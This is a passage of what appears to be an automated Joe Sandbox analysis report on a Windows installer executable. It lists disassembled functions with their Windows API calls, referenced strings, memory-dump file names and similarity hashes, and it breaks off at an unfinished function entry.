GetWindowLongW.USER32(?,000000F0), ref: 00405181
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040518F
ShowWindow.USER32(?,00000005), ref: 0040519F
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040529A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052FF
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405314
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405338
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405358
ImageList_Destroy.COMCTL32(?), ref: 0040536D
GlobalFree.KERNEL32(?), ref: 0040537D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053F6
SendMessageW.USER32(?,00001102,?,?), ref: 0040549F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054AE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054D9
ShowWindow.USER32(?,00000000), ref: 00405527
GetDlgItem.USER32(?,000003FE), ref: 00405532
ShowWindow.USER32(00000000), ref: 00405539

Strings

N, xrefs: 004051D8
, xrefs: 00405511
M, xrefs: 004050F7

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction ID: 91097811874ce85ba3cc7540bcf7dd58db25a3d6f071223140e4d1ec27d7ea12
Opcode Fuzzy Hash: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction Fuzzy Hash: 6C029C70900608AFDF20DF94DD85AAF7BB5FB85314F10817AE611BA2E1D7798A41CF58

Function 00404695 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404733
GetDlgItem.USER32(?,000003E8), ref: 00404747
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404764
GetSysColor.USER32(?), ref: 00404775
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404783
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404791
lstrlenW.KERNEL32(?), ref: 00404796
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047A3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047B8
GetDlgItem.USER32(?,0000040A), ref: 00404811
SendMessageW.USER32(00000000), ref: 00404818
GetDlgItem.USER32(?,000003E8), ref: 00404843
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404886
LoadCursorW.USER32(00000000,00007F02), ref: 00404894
SetCursor.USER32(00000000), ref: 00404897
LoadCursorW.USER32(00000000,00007F00), ref: 004048B0
SetCursor.USER32(00000000), ref: 004048B3
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048E2
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048F4

Strings

Exec, xrefs: 00404872
N, xrefs: 00404831

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Exec$N
API String ID: 3103080414-17853963
Opcode ID: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction ID: 3ad42440e7936429012ccc374b67200ab01768f99e4ad58672f49272ac14a637
Opcode Fuzzy Hash: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction Fuzzy Hash: 2E6181B1900209BFDB10AF60DD85EAA7B69FB84315F00853AFA05B62D0C779A951DF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 0040619D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406338,?,?), ref: 004061D8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 004061E1

Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061FE
wsprintfA.USER32 ref: 0040621C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406257
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406266
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040629E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062F4
GlobalFree.KERNEL32(00000000), ref: 00406305
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040630C

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Strings

[Rename], xrefs: 00406286, 00406298
%ls=%ls, xrefs: 00406212

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 2f157a22eecee44515c187ff3daf75b9e7e255f904fde787f0dd9ddf92a1116e
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: C9312271200315BBD2206B619D49F2B3A5CEF85718F16043EFD42FA2C2DB7D99258ABD

Function 6FF61B67 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 83processstringsynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(00000400), ref: 6FF61B96
lstrcpynW.KERNEL32(?,00000000), ref: 6FF61BA4
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6FF61C03
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6FF61C15
GetExitCodeProcess.KERNEL32(?,?), ref: 6FF61C22
CloseHandle.KERNEL32(?), ref: 6FF61C31
CloseHandle.KERNEL32(?), ref: 6FF61C36
ExitProcess.KERNEL32 ref: 6FF61C3B
ExitProcess.KERNEL32 ref: 6FF61C46

Strings

", xrefs: 6FF61BAA
D, xrefs: 6FF61B8A

Memory Dump Source

Source File: 00000000.00000002.1450170496.000000006FF61000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FF60000, based on PE: true

Associated: 00000000.00000002.1450157086.000000006FF60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450186265.000000006FF62000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450199247.000000006FF63000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450217071.000000006FF64000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff60000_file.jbxd

Similarity

API ID: Process$Exit$CloseHandle$CodeCommandCreateLineObjectSingleWaitlstrcpyn
String ID: "$D
API String ID: 2956148522-1154559923
Opcode ID: 9695ffb5c56c7fb99b022c76cd0c0abe2a4cd91498a99b60668136a692ceaf9c
Instruction ID: ac0fef9d0a6b345b2996308ff8cc2fcef5da86809693837e4a4c38b1495dcef8
Opcode Fuzzy Hash: 9695ffb5c56c7fb99b022c76cd0c0abe2a4cd91498a99b60668136a692ceaf9c
Instruction Fuzzy Hash: D321AE32810519FADF249BE0CD08AEFBB78EF05761F500016E216B61A0EF701A58CBA1

Function 0040453D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040455A
GetSysColor.USER32(00000000), ref: 00404598
SetTextColor.GDI32(?,00000000), ref: 004045A4
SetBkMode.GDI32(?,?), ref: 004045B0
GetSysColor.USER32(?), ref: 004045C3
SetBkColor.GDI32(?,?), ref: 004045D3
DeleteObject.GDI32(?), ref: 004045ED
CreateBrushIndirect.GDI32(?), ref: 004045F7

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 069c4eaec478219780f05c004fc5973679282d3c2eb16bc8cec9dcb23997e36d
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 592151B1500704ABCB20DF68DE08A5B7BF8AF41714B05892EEA96A22E0D739E944CF54

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406128: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040613E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction ID: e892b7cb172a86a35cdf2d5061c859a119b49b65f2ae0b0c69c9b35c58dd84de
Opcode Fuzzy Hash: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction Fuzzy Hash: F151FB75D0411AABDF24DFD4CA85AAEBBB9FF04344F10817BE901B62D0D7B49D828B58

Function 00406805 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
CharNextW.USER32(?,0043F000,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406806
*?|<>/":, xrefs: 00406857

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: fa9c0ef9ae643832d728fa0671e6943ea0b093c18f887e6db6f7fe1f852dcfd9
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F111932780221299DB303B148C40E7766E8AF54794F52C43FED8A722C0F77C4C9286AD

Function 6FF61987 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00000000,?,?,?,6FF610E0), ref: 6FF61990
GetModuleHandleA.KERNEL32(KERNEL32,?,?,00000000,?,?,?,6FF610E0), ref: 6FF6199E
GetProcAddress.KERNEL32(00000000,?), ref: 6FF619BD
GetProcAddress.KERNEL32(00000000,?), ref: 6FF619E6

Strings

KERNEL32, xrefs: 6FF61996
IsWow64Process2, xrefs: 6FF619A4

Memory Dump Source

Source File: 00000000.00000002.1450170496.000000006FF61000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FF60000, based on PE: true

Associated: 00000000.00000002.1450157086.000000006FF60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450186265.000000006FF62000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450199247.000000006FF63000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450217071.000000006FF64000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff60000_file.jbxd

Similarity

API ID: AddressProc$CurrentHandleModuleProcess
String ID: IsWow64Process2$KERNEL32
API String ID: 977827838-1019154776
Opcode ID: 55ea944f631694e8ea88137a4be0121e0caadd98b18876f9735b4e61095aaf42
Instruction ID: 4e365d8a0a6bdf5798ff94db1e6b80fbc6c7e21a570401b99834a00ac72d7de7
Opcode Fuzzy Hash: 55ea944f631694e8ea88137a4be0121e0caadd98b18876f9735b4e61095aaf42
Instruction Fuzzy Hash: 0B015E76D00609BADF01DFF48C45EEFBBBC9F05654F008162A911E2281EFB5EA05CBA0

Function 00404E91 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404EAC
GetMessagePos.USER32 ref: 00404EB4
ScreenToClient.USER32(?,?), ref: 00404ECE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EE0
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F06

Strings

f, xrefs: 00404EE2

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: eb967d7d92909976ed67768bbc6bf91133f1097352fa1b537f2083fc5134d3bd
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: AB019E71900219BADB00DB94DD81FFEBBBCAF95710F10412BFB11B61C0C7B4AA018BA4

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(0002F000,00000064,000B7218), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: b4a4546c530c1255e03538258eeb387f0310dfe45b0532776fb26864182fd6cc
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 8D014F71640208BBEF209F60DE49FEE3B79AB04344F108039FA02B91D0DBB99A559B59

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: 9240dae09012554c896714223f9a1d047de53ad28ef79bac3653223f28d0231c
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: 3931AD71D00124BBCF21AFA5CE89D9E7E79AF49324F10423AF521762E1CB794D419BA8

Function 00405F2E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

